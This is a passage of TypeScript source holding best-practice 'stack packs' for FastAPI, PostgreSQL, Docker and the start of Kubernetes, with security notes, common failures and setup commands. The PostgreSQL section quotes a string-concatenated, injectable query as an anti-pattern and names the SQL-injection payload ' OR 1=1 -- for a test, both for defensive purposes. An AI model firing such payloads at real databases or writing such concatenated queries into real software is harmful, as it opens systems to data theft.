'Code written for Pydantic v1 (BaseSettings in core, @validator, .dict()/.parse_obj()) is running under Pydantic v2.',\n fix: 'Install pydantic-settings and import BaseSettings from it; replace @validator with field_validator/model_validator and .dict()/.parse_obj() with model_dump()/model_validate().',\n },\n {\n id: 'fastapi.fail.missing-greenlet',\n signature: 'sqlalchemy.exc.MissingGreenlet: greenlet_spawn has not been called; can\\'t call await_only() here',\n cause: 'A lazy-loaded relationship/attribute on an async SQLAlchemy model was accessed outside the async session (e.g. during response serialisation).',\n fix: 'Eager-load the relationships you serialise (selectinload/joinedload) within the request, or map to a Pydantic response model before the session closes.',\n },\n {\n id: 'fastapi.fail.422-unexpected',\n signature: 'HTTP 422 Unprocessable Entity with a \"field required\" / \"value is not a valid ...\" body the client did not expect',\n cause: 'The request payload did not match the declared Pydantic model (missing field, wrong type, or body sent where a query param was declared).',\n fix: 'Align the client payload with the schema; use the auto-generated OpenAPI docs as the contract, and mark genuinely optional fields Optional with defaults.',\n },\n {\n id: 'fastapi.fail.cors-preflight',\n signature: 'Browser: \"blocked by CORS policy: No \\'Access-Control-Allow-Origin\\' header\" on a cross-origin call',\n cause: 'CORSMiddleware was not configured for the calling origin, or a wildcard origin was combined with credentials (which browsers reject).',\n fix: 'Add CORSMiddleware with an explicit allow_origins list (and allow_methods/allow_headers), enabling allow_credentials only with concrete origins, not \"*\".',\n },\n {\n id: 'fastapi.fail.on-event-deprecation',\n signature: 'DeprecationWarning: on_event is deprecated, use lifespan event handlers instead',\n cause: 'Startup/shutdown logic still uses @app.on_event decorators.',\n fix: 'Move it into an async lifespan context manager and pass FastAPI(lifespan=lifespan); open resources before yield and close them after.',\n },\n];\n\n/**\n * The FastAPI (Python) reference pack. Matches a detected stack whose framework\n * is \"fastapi\".\n */\nexport const fastapiPack: StackPack = {\n id: 'fastapi-python',\n name: 'FastAPI (Python 3.12 + Pydantic v2)',\n matches: (stack) => stack.framework === 'fastapi',\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'fastapi>=0.115',\n 'pydantic>=2',\n 'pydantic-settings>=2',\n 'uvicorn[standard]>=0.32',\n 'sqlalchemy>=2',\n 'asyncpg>=0.30',\n 'alembic>=1.13',\n 'pyjwt>=2.9',\n 'httpx>=0.27',\n 'pytest>=8',\n 'pytest-asyncio>=0.24',\n ],\n versionChecks,\n setupCommands: [\n 'python -m venv .venv && . .venv/bin/activate',\n 'pip install \"fastapi[standard]\" \"uvicorn[standard]\" pydantic pydantic-settings',\n 'pip install \"sqlalchemy>=2\" asyncpg alembic pyjwt',\n 'pip install -D pytest pytest-asyncio httpx ruff mypy',\n 'alembic init migrations',\n ],\n testCommands: [\n 'ruff check .',\n 'mypy .',\n 'pytest -q',\n 'uvicorn app.main:app --reload',\n ],\n qualityGates: [\n 'No blocking I/O runs inside an async def endpoint (async driver/client, plain def, or run_in_threadpool).',\n 'Every endpoint declares a response_model / typed return so no unintended fields are serialised.',\n 'Request inputs are validated by Pydantic v2 models; the API returns structured 422s on bad input.',\n 'Configuration and secrets come from a validated pydantic-settings BaseSettings, not hardcoded literals.',\n 'JWT verification pins algorithms=[\"RS256\"] (or the exact expected list) and validates exp/aud/iss; alg \"none\" is rejected.',\n 'Startup/shutdown uses the lifespan context manager; no @app.on_event remain.',\n 'mypy and ruff pass; pytest (with pytest-asyncio) is green including auth and DB-session dependency overrides.',\n ],\n securityNotes: [\n 'Pin JWT algorithms explicitly (algorithms=[\"RS256\"]); never allow a mixed RS256/HS256 list (algorithm confusion) or alg \"none\", and validate exp/aud/iss plus scopes.',\n 'Return typed response models so ORM rows never leak password hashes, internal flags, or unintended relations.',\n 'Load secrets from the environment/secret files via pydantic-settings, validated at startup; never hardcode credentials or commit them.',\n 'Treat Pydantic request models as the trust boundary — do not bypass validation by reading the raw request body.',\n 'Scope CORS to explicit origins; never combine allow_origins=[\"*\"] with credentials.',\n 'Enforce authorization (roles/scopes) in a dependency, not just authentication, and rate-limit sensitive endpoints (e.g. slowapi).',\n ],\n deploymentNotes: [\n 'Run under Gunicorn with the uvicorn worker class (or multiple uvicorn workers) behind a reverse proxy; size workers to CPU cores and keep endpoints non-blocking.',\n 'Expose a /health endpoint for liveness/readiness and initialise pools/clients in the lifespan handler so they are ready before traffic.',\n 'Manage schema changes with Alembic migrations run as a separate step before rollout, not on app startup.',\n 'Match the container base image Python major to the pinned interpreter; install from a locked requirements/uv.lock for reproducible builds.',\n 'Set an async DB pool sized to the worker count and the database max_connections, and put a pooler (pgbouncer) in front for serverless/high-fanout deployments.',\n ],\n commonFailures,\n};\n","/**\n * PostgreSQL (database) reference stack pack.\n *\n * Real, current (2026) guidance for running PostgreSQL 16/17 behind an\n * application: parameterized queries (never string-concatenated SQL), connection\n * pooling — with a transaction pooler in front of serverless so the database is\n * not connection-exhausted — forward-only migrations run in a transaction,\n * indexes on foreign keys and query predicates, least-privilege roles, and the\n * safety timeouts (statement_timeout, idle_in_transaction_session_timeout) that\n * keep one slow query from taking the database down. Language-agnostic: this pack\n * is keyed off a `postgres` deployment hint, so it augments Prisma/Supabase/ORM\n * packs rather than replacing them.\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\n// Postgres is a database, not a framework. Match on an explicit deployment hint\n// so this pack augments any language/ORM stack that names Postgres.\nconst POSTGRES_HINTS = ['postgres', 'postgresql'];\n\nconst bestPractices: Rule[] = [\n {\n id: 'postgres.parameterized-queries',\n title: 'Always use parameterized queries / bound parameters',\n detail:\n 'Pass values as bind parameters ($1, $2 or the driver/ORM equivalent) so the database treats them as data, never as SQL. String-concatenating user input into a query is the classic SQL-injection hole; an ORM or query builder does this for you, but raw SQL must bind explicitly.',\n severity: 'critical',\n appliesTo: ['service', 'api', 'migration'],\n },\n {\n id: 'postgres.pool-and-serverless-pooler',\n title: 'Pool connections, and put a transaction pooler in front of serverless',\n detail:\n 'Postgres has a hard max_connections and each connection is a backend process. Use a bounded application pool for long-lived servers, and a transaction-mode pooler (PgBouncer / provider pooler) for serverless/edge where many short-lived instances would otherwise each open connections and exhaust the server.',\n severity: 'high',\n appliesTo: ['config', 'service'],\n },\n {\n id: 'postgres.migrations-forward-transactional',\n title: 'Version schema with forward-only migrations run in a transaction',\n detail:\n 'Keep ordered, reviewed migration files (Prisma/Drizzle/Alembic/golang-migrate) applied as a deploy step. Wrap DDL in a transaction so a failed migration rolls back cleanly, and provide a real down where feasible — never leave the down empty or as a no-op pass.',\n severity: 'high',\n appliesTo: ['migration', 'schema'],\n },\n {\n id: 'postgres.index-fks-and-predicates',\n title: 'Index foreign keys and the columns you filter/join/sort on',\n detail:\n 'Postgres does not auto-index foreign keys. Add indexes on FK columns and on WHERE/JOIN/ORDER BY predicates, verify with EXPLAIN (ANALYZE, BUFFERS), and use composite/partial/covering indexes where the query shape warrants; drop unused indexes that only slow writes.',\n severity: 'high',\n appliesTo: ['migration', 'schema', 'service'],\n },\n {\n id: 'postgres.create-index-concurrently',\n title: 'Build indexes on live tables with CREATE INDEX CONCURRENTLY',\n detail:\n 'A plain CREATE INDEX takes an exclusive lock that blocks writes for the whole build. On a busy table use CREATE INDEX CONCURRENTLY (outside a transaction) so writes continue; migration tools need this DDL flagged as non-transactional.',\n severity: 'medium',\n appliesTo: ['migration'],\n },\n {\n id: 'postgres.set-statement-timeouts',\n title: 'Set statement_timeout and idle_in_transaction_session_timeout',\n detail:\n 'Configure statement_timeout so a runaway query is cancelled instead of pinning a backend, and idle_in_transaction_session_timeout so a forgotten open transaction cannot hold locks and block autovacuum. Set them per-role or per-session for the application user.',\n severity: 'high',\n appliesTo: ['config', 'service'],\n },\n {\n id: 'postgres.least-privilege-roles',\n title: 'Give the app a least-privilege role, separate from the migration role',\n detail:\n 'The application should connect as a role with only the DML it needs (SELECT/INSERT/UPDATE/DELETE on its tables), not as a superuser or the owner. Run migrations under a separate role that holds DDL rights so a compromised app credential cannot alter the schema.',\n severity: 'high',\n appliesTo: ['config', 'env', 'migration'],\n },\n {\n id: 'postgres.keep-transactions-short',\n title: 'Keep transactions short and off the network critical path',\n detail:\n 'Do not hold a transaction open across external HTTP calls or user think-time; long transactions hold locks, bloat tables by blocking autovacuum, and cause idle-in-transaction. Read/compute first, then open a short write transaction.',\n severity: 'medium',\n appliesTo: ['service'],\n },\n {\n id: 'postgres.explicit-columns-and-jsonb-index',\n title: 'Select explicit columns; index JSONB you query with GIN',\n detail:\n 'Avoid SELECT * in application queries — it over-fetches and breaks when columns change; list the columns you need. Use JSONB (not json) for semi-structured data and add a GIN index for containment/key queries so they are not sequential scans.',\n severity: 'medium',\n appliesTo: ['service', 'schema'],\n },\n {\n id: 'postgres.tls-backups-pitr',\n title: 'Require TLS, and verify backups + point-in-time recovery',\n detail:\n 'Force sslmode=require (verify-full where you can pin the CA) so credentials and data are encrypted in transit, enable encryption at rest, and periodically restore a backup / test PITR — an untested backup is not a backup.',\n severity: 'high',\n appliesTo: ['config', 'env'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'postgres.anti.string-concat-sql',\n title: 'Building SQL by concatenating user input',\n detail:\n '`\"... WHERE email = \\'\" + email + \"\\'\"` is a SQL-injection vulnerability regardless of validation. Always bind parameters; if you must build dynamic SQL, use the driver\\'s identifier-quoting/format helpers, never string concatenation.',\n severity: 'critical',\n appliesTo: ['service', 'api'],\n },\n {\n id: 'postgres.anti.unbounded-serverless-connections',\n title: 'Opening a direct connection per serverless invocation',\n detail:\n 'Each cold serverless instance opening its own Postgres connection quickly hits max_connections (\"too many clients already\"). Route serverless traffic through a transaction-mode pooler and keep the per-instance pool tiny.',\n severity: 'high',\n appliesTo: ['config', 'service'],\n },\n {\n id: 'postgres.anti.missing-fk-index',\n title: 'Leaving foreign keys and hot predicates unindexed',\n detail:\n 'Unindexed FKs make joins and ON DELETE cascades do sequential scans, and unindexed WHERE columns turn every lookup into a full scan as the table grows. Index them and confirm with EXPLAIN ANALYZE.',\n severity: 'high',\n appliesTo: ['schema', 'migration'],\n },\n {\n id: 'postgres.anti.select-star-n-plus-1',\n title: 'SELECT * and N+1 query loops',\n detail:\n 'SELECT * over-fetches and breaks on schema change; issuing one query per row in a loop (N+1) multiplies round-trips. Select explicit columns and fetch related rows in a single JOIN / IN / batched query.',\n severity: 'medium',\n appliesTo: ['service'],\n },\n {\n id: 'postgres.anti.long-idle-transaction',\n title: 'Holding a transaction open across slow work',\n detail:\n 'A transaction left open across an external call or user interaction holds row/table locks, blocks autovacuum, and bloats the table (idle in transaction). Commit promptly and keep write transactions short.',\n severity: 'medium',\n appliesTo: ['service'],\n },\n {\n id: 'postgres.anti.app-runs-as-superuser',\n title: 'Connecting the app as superuser / the table owner',\n detail:\n 'Running the application with superuser or owner rights means a single leaked credential (or a SQL-injection foothold) can drop tables or read everything. Use a least-privilege DML role and a separate DDL role for migrations.',\n severity: 'high',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'postgres.anti.no-timeouts',\n title: 'Running with no statement or idle-transaction timeout',\n detail:\n 'Without statement_timeout a single pathological query pins a backend indefinitely; without idle_in_transaction_session_timeout a stuck client blocks vacuum and holds locks. Both should be set for the app role.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'postgres',\n supported: '>=16',\n note: 'PostgreSQL 16/17 (17 is current in 2026). Newer majors improve vacuum, logical replication, and monitoring; upgrade majors with pg_upgrade and test extensions first.',\n },\n {\n pkg: 'pg',\n supported: '^8',\n note: 'node-postgres 8.x for Node/TS — use a Pool, pass values as parameters ($1,$2), and never interpolate strings into text.',\n },\n {\n pkg: 'pgbouncer',\n supported: '^1.23',\n note: 'PgBouncer in transaction pooling mode in front of Postgres for serverless/high-fanout clients; note prepared-statement caveats in transaction mode.',\n },\n {\n pkg: 'psycopg',\n supported: '^3',\n note: 'psycopg 3 for Python (sync or async) with server-side parameter binding; the recommended driver over the legacy psycopg2 for new code.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'postgres.fail.too-many-connections',\n signature: 'FATAL: sorry, too many clients already / \"remaining connection slots are reserved\"',\n cause: 'More client connections were opened than max_connections — typically each serverless instance opening a direct connection, or an oversized/leaking pool.',\n fix: 'Put a transaction-mode pooler (PgBouncer / provider pooler) in front, cap the per-instance pool size, and make sure connections/clients are released back to the pool.',\n },\n {\n id: 'postgres.fail.deadlock-detected',\n signature: 'ERROR: deadlock detected — \"Process A waits for ... Process B waits for ...\"',\n cause: 'Two transactions acquired the same locks in opposite orders, so Postgres aborted one to break the cycle.',\n fix: 'Acquire locks/rows in a consistent order across transactions, keep transactions short, and retry the aborted transaction with backoff.',\n },\n {\n id: 'postgres.fail.idle-in-transaction',\n signature: 'Connections stuck in \"idle in transaction\"; autovacuum stalls and table bloat grows',\n cause: 'A transaction was opened but never committed/rolled back (often an error path that skipped cleanup or work done between BEGIN and an external call).',\n fix: 'Set idle_in_transaction_session_timeout, ensure sessions always COMMIT/ROLLBACK (use context-managed/yield-based sessions), and keep external calls out of open transactions.',\n },\n {\n id: 'postgres.fail.index-lock-blocks-writes',\n signature: 'Deploy stalls / writes hang while a migration runs CREATE INDEX on a large table',\n cause: 'A plain CREATE INDEX took an exclusive lock that blocked all writes until the index finished building.',\n fix: 'Use CREATE INDEX CONCURRENTLY outside a transaction (flag the migration as non-transactional), and build large indexes in a low-traffic window.',\n },\n {\n id: 'postgres.fail.ssl-required',\n signature: 'error: no pg_hba.conf entry ... \"no encryption\" / \"SSL connection is required\"',\n cause: 'The client connected without TLS to a server that mandates SSL (most managed Postgres).',\n fix: 'Set sslmode=require (or verify-full with the provider CA) in the connection string / driver options.',\n },\n {\n id: 'postgres.fail.sql-injection',\n signature: 'Unexpected rows returned/modified, or a security scan flags SQL injection on an endpoint',\n cause: 'User input was concatenated into a SQL string instead of bound as a parameter.',\n fix: 'Rewrite the query to use bind parameters ($1,$2/ORM), quote any dynamic identifiers with the driver helper, and add a test that a payload like `\\' OR 1=1 --` is treated as data.',\n },\n];\n\n/**\n * The PostgreSQL reference pack. Matches when the detected stack advertises a\n * `postgres`/`postgresql` deployment target (language-agnostic — it augments the\n * ORM/framework pack in use).\n */\nexport const postgresPack: StackPack = {\n id: 'postgres-database',\n name: 'PostgreSQL 16/17 — relational database',\n matches: (stack) => stack.deploymentTargets.some((target) => POSTGRES_HINTS.includes(target)),\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'pg@^8',\n 'postgres@^3',\n 'pgbouncer@^1.23',\n 'drizzle-orm@^0.36',\n 'kysely@^0.27',\n 'psycopg@^3',\n ],\n versionChecks,\n setupCommands: [\n 'docker run --name pg -e POSTGRES_PASSWORD=dev -p 5432:5432 -d postgres:17',\n 'psql \"$DATABASE_URL\" -c \"CREATE ROLE app LOGIN PASSWORD \\'...\\'; GRANT SELECT, INSERT, UPDATE, DELETE ON ALL TABLES IN SCHEMA public TO app;\"',\n 'psql \"$DATABASE_URL\" -c \"ALTER ROLE app SET statement_timeout = \\'30s\\'; ALTER ROLE app SET idle_in_transaction_session_timeout = \\'60s\\';\"',\n ],\n testCommands: [\n 'psql \"$DATABASE_URL\" -c \"SELECT 1;\"',\n 'psql \"$DATABASE_URL\" -c \"EXPLAIN (ANALYZE, BUFFERS) SELECT ...;\"',\n 'psql \"$DATABASE_URL\" -c \"SELECT * FROM pg_stat_activity WHERE state = \\'idle in transaction\\';\"',\n ],\n qualityGates: [\n 'All application queries use bound parameters; no user input is concatenated into SQL.',\n 'Serverless/high-fanout deployments connect through a transaction-mode pooler; pool sizes respect max_connections.',\n 'Schema changes ship as ordered, transactional, forward-only migrations with a real down where feasible.',\n 'Foreign keys and hot WHERE/JOIN/ORDER BY columns are indexed, verified with EXPLAIN ANALYZE; indexes on live tables are built CONCURRENTLY.',\n 'statement_timeout and idle_in_transaction_session_timeout are set for the application role.',\n 'The application connects as a least-privilege DML role, separate from the DDL/migration role.',\n 'TLS is required in the connection string and a backup/PITR restore has been verified.',\n ],\n securityNotes: [\n 'Parameterize every query — bound parameters are the only reliable defence against SQL injection; validation is not a substitute.',\n 'The application role should hold only the DML it needs; run DDL/migrations under a separate role so a leaked app credential cannot alter or drop the schema.',\n 'Require TLS (sslmode=require, verify-full where the CA can be pinned) and enable encryption at rest for the cluster.',\n 'Store the connection string / password in a secret manager and inject at runtime; never commit DATABASE_URL or embed credentials in an image.',\n 'For multi-tenant data, enforce isolation in the database (Row Level Security scoped to the tenant) rather than trusting the application to filter every query.',\n 'Set statement and idle-in-transaction timeouts so a single query or stuck client cannot exhaust backends or block vacuum.',\n ],\n deploymentNotes: [\n 'Run migrations as a discrete, gated deploy step (not on app startup), building large indexes CONCURRENTLY off the transaction and in a low-traffic window.',\n 'Size the application pool to (workers x per-worker pool) <= the pooler/server limit; front serverless with PgBouncer in transaction mode and disable client-side prepared statements where the pooler requires it.',\n 'Enable automated backups plus point-in-time recovery and rehearse a restore; monitor pg_stat_activity, replication lag, bloat, and slow queries (pg_stat_statements).',\n 'Perform major-version upgrades with pg_upgrade after testing extensions and query plans on a copy; keep autovacuum tuned for write-heavy tables.',\n 'Use a read replica for heavy read traffic and route only writes/consistent reads to the primary.',\n ],\n commonFailures,\n};\n","/**\n * Docker (containerization) reference stack pack.\n *\n * Real, current (2026) guidance for building production container images: small\n * multi-stage builds off pinned, minimal (slim/distroless) bases, running as a\n * non-root user with a read-only root filesystem and dropped capabilities,\n * keeping secrets out of image layers/ENV (BuildKit --mount=type=secret, runtime\n * env only), ordering layers for cache hits, a .dockerignore, a HEALTHCHECK, and\n * exec-form entrypoints with proper PID-1 signal handling so containers stop\n * gracefully. Language-agnostic: keyed off a `docker` deployment hint.\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\n// Containerization is language-agnostic — match on a `docker` deployment hint.\nconst DOCKER_HINTS = ['docker', 'container', 'containers'];\n\nconst bestPractices: Rule[] = [\n {\n id: 'docker.multi-stage-build',\n title: 'Use multi-stage builds so build tooling never ships in the runtime image',\n detail:\n 'Compile/install in a build stage and COPY only the artifacts (dist/, node_modules --prod, the binary) into a lean runtime stage. The final image then omits compilers, dev dependencies, and source, shrinking size and attack surface.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'docker.minimal-pinned-base',\n title: 'Start from a minimal base pinned by version (ideally digest)',\n detail:\n 'Prefer slim/distroless/alpine bases and pin them to a specific tag or @sha256 digest so builds are reproducible and you control when the base changes. A smaller base means fewer CVEs and a faster pull.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'docker.run-as-non-root',\n title: 'Create and switch to a non-root USER',\n detail:\n 'Add a dedicated unprivileged user/group and declare USER before the entrypoint so the process does not run as root. A container escape from a root process is far more dangerous; most apps need no root privileges at all.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'docker.no-secrets-in-layers',\n title: 'Never bake secrets into ARG/ENV, COPY, or layers',\n detail:\n 'Build-time ARG and every COPY are recorded in the image history, and ENV secrets persist in the running image. Use BuildKit `RUN --mount=type=secret` for build-time credentials and inject runtime secrets via env/secret manager at `docker run` time.',\n severity: 'critical',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'docker.dockerignore',\n title: 'Ship a .dockerignore that excludes .git, .env, and local deps',\n detail:\n 'Without .dockerignore the whole context (including .git history, .env files, node_modules, test fixtures) is sent to the daemon and can land in the image via COPY . .. Exclude them to keep the context small, builds fast, and secrets out.',\n severity: 'high',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'docker.layer-cache-order',\n title: 'Copy the lockfile and install deps before copying source',\n detail:\n 'COPY package.json pnpm-lock.yaml (or requirements.txt) and install first, then COPY the source. Dependency layers then stay cached across source-only changes; copying everything before installing busts the cache on every edit.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n {\n id: 'docker.exec-form-signals',\n title: 'Use exec-form CMD/ENTRYPOINT and handle PID 1 signals',\n detail:\n 'Exec form ([\"node\",\"server.js\"]) makes your process PID 1 and receive SIGTERM directly; shell form wraps it in /bin/sh which swallows signals, so the container waits the full grace period before being killed. Add tini/an init for processes that spawn children and need reaping.',\n severity: 'medium',\n appliesTo: ['config', 'service'],\n },\n {\n id: 'docker.healthcheck',\n title: 'Declare a HEALTHCHECK (or rely on the orchestrator probe)',\n detail:\n 'A HEALTHCHECK lets Docker/Compose report unhealthy containers and lets orchestrators gate traffic. Keep it cheap (a lightweight endpoint), with sensible interval/timeout/retries, and hit the real readiness path rather than just \"process alive\".',\n severity: 'medium',\n appliesTo: ['config'],\n },\n {\n id: 'docker.harden-runtime',\n title: 'Run hardened: read-only rootfs, dropped caps, no privilege escalation',\n detail:\n 'Run with --read-only (mounting a tmpfs for the few writable paths), --cap-drop ALL (adding back only what is needed), --security-opt no-new-privileges, and never --privileged. This narrows what a compromised container can do.',\n severity: 'high',\n appliesTo: ['config', 'service'],\n },\n {\n id: 'docker.scan-and-production-env',\n title: 'Scan images and build for production (prune dev deps)',\n detail:\n 'Scan images for known CVEs (Trivy/Grype/Docker Scout) in CI and fail on high severity. Set NODE_ENV=production / install without dev dependencies so the runtime image carries only what it needs.',\n severity: 'medium',\n appliesTo: ['config', 'test'],\n },\n];\n\nconst antiPatterns: Rule[] = [\n {\n id: 'docker.anti.run-as-root',\n title: 'Running the container process as root',\n detail:\n 'Leaving the default root USER means any RCE runs with root inside the container and a wider blast radius on escape. Create a non-root user and switch to it before the entrypoint.',\n severity: 'high',\n appliesTo: ['config'],\n },\n {\n id: 'docker.anti.secret-in-image',\n title: 'Baking a secret into the image via ARG/ENV/COPY',\n detail:\n 'A token passed as ARG or set in ENV, or a copied .env, is retrievable with `docker history` / by inspecting layers even if a later layer deletes it. Use BuildKit secrets for build-time and runtime env for run-time; rotate anything already baked.',\n severity: 'critical',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'docker.anti.latest-base-tag',\n title: 'Using :latest (or no tag) for the base image',\n detail:\n 'FROM node:latest makes builds non-reproducible — the same Dockerfile produces different images over time and can silently pull in a breaking base. Pin a specific version tag or digest.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n {\n id: 'docker.anti.copy-before-install',\n title: 'COPY . . before installing dependencies',\n detail:\n 'Copying the whole source before the install step invalidates the dependency layer on every code change, so every build re-installs from scratch. Copy the lockfile, install, then copy source.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n {\n id: 'docker.anti.no-dockerignore',\n title: 'No .dockerignore, so .git/.env/node_modules enter the build',\n detail:\n 'Without .dockerignore, COPY . . drags secrets (.env), history (.git), and bulky local artifacts into the context and image. Add a .dockerignore mirroring .gitignore plus build outputs.',\n severity: 'high',\n appliesTo: ['config', 'env'],\n },\n {\n id: 'docker.anti.shell-form-entrypoint',\n title: 'Shell-form CMD so PID 1 ignores SIGTERM',\n detail:\n 'CMD node server.js (shell form) runs the app under /bin/sh -c, which does not forward SIGTERM, so graceful shutdown is skipped and the container is SIGKILLed after the grace period. Use exec form and, if needed, an init like tini.',\n severity: 'medium',\n appliesTo: ['config', 'service'],\n },\n {\n id: 'docker.anti.fat-runtime-image',\n title: 'A single-stage image carrying build tools and dev dependencies',\n detail:\n 'Installing compilers, git, and dev dependencies into the final image bloats it and adds CVEs. Split build from runtime with multi-stage and copy only the artifacts and production dependencies.',\n severity: 'medium',\n appliesTo: ['config'],\n },\n];\n\nconst versionChecks: VersionCheck[] = [\n {\n pkg: 'docker',\n supported: '>=27',\n note: 'Docker Engine 27.x with BuildKit as the default builder — required for `RUN --mount=type=secret`, cache mounts, and multi-platform builds.',\n },\n {\n pkg: 'docker-compose',\n supported: '^2',\n note: 'Compose v2 (the `docker compose` plugin). The top-level `version:` key is obsolete; use profiles, depends_on with condition: service_healthy, and secrets.',\n },\n {\n pkg: 'node',\n supported: '>=22',\n note: 'For Node images use node:22-slim (or distroless/nodejs22) pinned by digest; match the base major to your app\\'s engines.',\n },\n {\n pkg: 'trivy',\n supported: '^0.56',\n note: 'Trivy (or Grype / Docker Scout) to scan images for CVEs in CI; fail the build on HIGH/CRITICAL findings.',\n },\n];\n\nconst commonFailures: KnownFailure[] = [\n {\n id: 'docker.fail.secret-in-history',\n signature: 'A token/key is recoverable via `docker history --no-trunc` or by extracting an image layer, despite being \"deleted\" later',\n cause: 'The secret was passed as a build ARG/ENV or COPYed in; each instruction is its own immutable layer, so a later RUN rm does not remove it from history.',\n fix: 'Rebuild with BuildKit `RUN --mount=type=secret=id=...` for build-time credentials, inject runtime secrets via env/secret manager at run time, and rotate the exposed secret.',\n },\n {\n id: 'docker.fail.permission-denied-nonroot',\n signature: 'EACCES / \"permission denied\" writing a file or binding a port after switching to a non-root USER',\n cause: 'The non-root user does not own the writable directory, or the app binds a privileged port (<1024).',\n fix: 'chown the writable paths to the non-root user in the build, write only to owned/tmpfs paths, and bind an unprivileged port (>=1024), mapping it externally.',\n },\n {\n id: 'docker.fail.sigterm-ignored',\n signature: 'Container takes the full ~10s grace period to stop and is then SIGKILLed; in-flight requests are dropped on deploy',\n cause: 'Shell-form CMD/ENTRYPOINT ran the process under /bin/sh, which did not forward SIGTERM to the app.',\n fix: 'Switch to exec-form CMD ([\"node\",\"server.js\"]), add tini/an init if the app spawns children, and implement a SIGTERM handler that drains connections.',\n },\n {\n id: 'docker.fail.cache-busts-every-build',\n signature: 'Every build re-runs `pnpm install` / `pip install` even when only source changed',\n cause: 'COPY . . preceded the install step, so any source change invalidated the dependency layer.',\n fix: 'Copy the lockfile/manifest and install first, then COPY the source; use a BuildKit cache mount for the package cache.',\n },\n {\n id: 'docker.fail.readonly-fs-write',\n signature: 'EROFS: read-only file system when the app writes a temp/log/cache file under --read-only',\n cause: 'The hardened container has a read-only root filesystem but the app writes outside a mounted writable volume.',\n fix: 'Mount a tmpfs (or a named volume) for the specific writable paths (/tmp, cache dirs) and configure the app to write only there.',\n },\n {\n id: 'docker.fail.image-too-large',\n signature: 'The final image is many hundreds of MB / slow to pull and push',\n cause: 'A single-stage build kept build tools, dev dependencies, and source in the runtime image, or the base is a full OS image.',\n fix: 'Adopt a multi-stage build copying only artifacts + production deps into a slim/distroless base, and add a .dockerignore to shrink the context.',\n },\n];\n\n/**\n * The Docker containerization reference pack. Matches when the detected stack\n * advertises a `docker`/`container` deployment target (language-agnostic).\n */\nexport const dockerPack: StackPack = {\n id: 'docker-container',\n name: 'Docker — container image builds',\n matches: (stack) => stack.deploymentTargets.some((target) => DOCKER_HINTS.includes(target)),\n bestPractices,\n antiPatterns,\n recommendedLibraries: [\n 'docker>=27',\n 'docker-compose@^2',\n 'buildkit@latest',\n 'tini@^0.19',\n 'trivy@^0.56',\n 'hadolint@^2',\n ],\n versionChecks,\n setupCommands: [\n 'DOCKER_BUILDKIT=1 docker build -t app:local .',\n 'docker run --rm --read-only --cap-drop ALL --security-opt no-new-privileges -p 8080:8080 app:local',\n 'docker compose up --build',\n ],\n testCommands: [\n 'docker build -t app:test .',\n 'hadolint Dockerfile',\n 'trivy image --severity HIGH,CRITICAL --exit-code 1 app:test',\n 'docker history --no-trunc app:test',\n ],\n qualityGates: [\n 'The Dockerfile uses a multi-stage build; the runtime image contains no compilers or dev dependencies.',\n 'The base image is pinned to a version tag or digest — never :latest.',\n 'The container runs as a non-root USER.',\n 'No secret is present in ARG/ENV/COPY or image history (verified with docker history / a scan); build-time secrets use BuildKit --mount=type=secret.',\n 'A .dockerignore excludes .git, .env*, node_modules, and build outputs.',\n 'Dependency install precedes source COPY so the dependency layer caches.',\n 'CMD/ENTRYPOINT use exec form and the app handles SIGTERM; a HEALTHCHECK (or orchestrator probe) is defined.',\n 'An image CVE scan (Trivy/Grype/Scout) runs in CI and fails on HIGH/CRITICAL.',\n ],\n securityNotes: [\n 'Every build instruction is an immutable layer: ARG/ENV secrets and COPYed .env files are recoverable via docker history even after a later delete — use BuildKit `--mount=type=secret` and inject runtime secrets via env/secret manager.',\n 'Run as a non-root USER with a read-only root filesystem, --cap-drop ALL (adding back only what is needed), and --security-opt no-new-privileges; never run --privileged.',\n 'Pin base images by digest and rebuild to pick up patched bases; scan for CVEs in CI and fail on HIGH/CRITICAL.',\n 'Ship a .dockerignore so .git, .env, and local credentials never enter the build context or the image.',\n 'Keep the runtime image minimal (slim/distroless) to shrink the attack surface, and drop build tooling via multi-stage.',\n ],\n deploymentNotes: [\n 'Enable BuildKit (default in Engine 27) for secret mounts, cache mounts, and multi-platform (--platform linux/amd64,linux/arm64) builds.',\n 'Tag images immutably (git SHA / semver), not :latest, and push to a registry with vulnerability scanning enabled.',\n 'Handle SIGTERM to drain connections and set a sane stop grace period; use exec form so PID 1 receives the signal.',\n 'Externalise all configuration and secrets as runtime env / mounted secrets so the same image promotes across environments unchanged.',\n 'Mount a tmpfs/volume for the few writable paths when running with --read-only, and expose only the ports the service needs.',\n ],\n commonFailures,\n};\n","/**\n * Kubernetes (orchestration) reference stack pack.\n *\n * Real, current (2026) guidance for running workloads on Kubernetes 1.31+:\n * resource requests/limits, liveness/readiness/startup probes, a hardened\n * securityContext (runAsNonRoot, readOnlyRootFilesystem, drop ALL capabilities,\n * seccompRuntimeDefault, allowPrivilegeEscalation:false) satisfying the\n * \"restricted\" Pod Security Standard, secrets kept out of committed manifests\n * (external-secrets / sealed-secrets / CSI), default-deny NetworkPolicies,\n * PodDisruptionBudgets + anti-affinity for availability, least-privilege RBAC,\n * and graceful shutdown via terminationGracePeriod + a preStop hook.\n * Language-agnostic: keyed off a `kubernetes`/`k8s`/managed-cluster hint.\n */\n\nimport type { KnownFailure, Rule, StackPack, VersionCheck } from '../domain/index';\n\n// Orchestration is language-agnostic — match on a kubernetes deployment hint.\nconst K8S_HINTS = ['kubernetes', 'k8s', 'gke', 'eks', 'aks', 